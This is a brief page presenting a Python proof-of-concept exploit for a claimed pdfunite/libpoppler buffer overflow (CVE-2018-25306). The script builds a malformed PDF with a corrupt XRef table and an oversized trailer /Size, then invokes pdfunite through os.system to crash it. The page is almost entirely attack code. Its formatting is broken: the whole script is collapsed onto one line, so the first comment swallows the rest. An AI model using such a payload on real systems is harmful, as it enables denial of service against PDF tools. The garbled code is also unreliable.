CVE-2018-25306 PDFunite缓冲区溢出漏洞

import os # Proof of Concept (PoC) for CVE-2018-25306 # This script generates a malformed PDF file designed to trigger # a buffer overflow in the XRef::getEntry function of libpoppler, # causing pdfunite to crash. def generate_malformed_pdf(filename): # PDF Header pdf_header = b"%PDF-1.4\n" # Malformed XRef table # We define an object count that leads to invalid memory access # when XRef::getEntry tries to access it. xref_section = b"xref\n0 10\n" xref_section += b"0000000000 65535 f \n" # Add some dummy entries to confuse the parser for i in range(1, 10): xref_section += b"0000000000 00000 n \n" # Trailer referencing a root object that might not exist or be malformed trailer = b"trailer\n<< /Size 999999999 /Root 1 0 R >>\n" # StartXRef and EOF startxref = b"startxref\n0\n%%EOF" with open(filename, "wb") as f: f.write(pdf_header + xref_section + trailer + startxref) if __name__ == "__main__": output_file = "cve_2018_25306_poc.pdf" generate_malformed_pdf(output_file) print(f"[+] Malformed PDF generated: {output_file}") print(f"[+] Attempting to trigger the crash using pdfunite...") # Simulate the attack by running pdfunite on the malformed file # Note: pdfunite must be installed on the system os.system(f"pdfunite {output_file} output_result.pdf")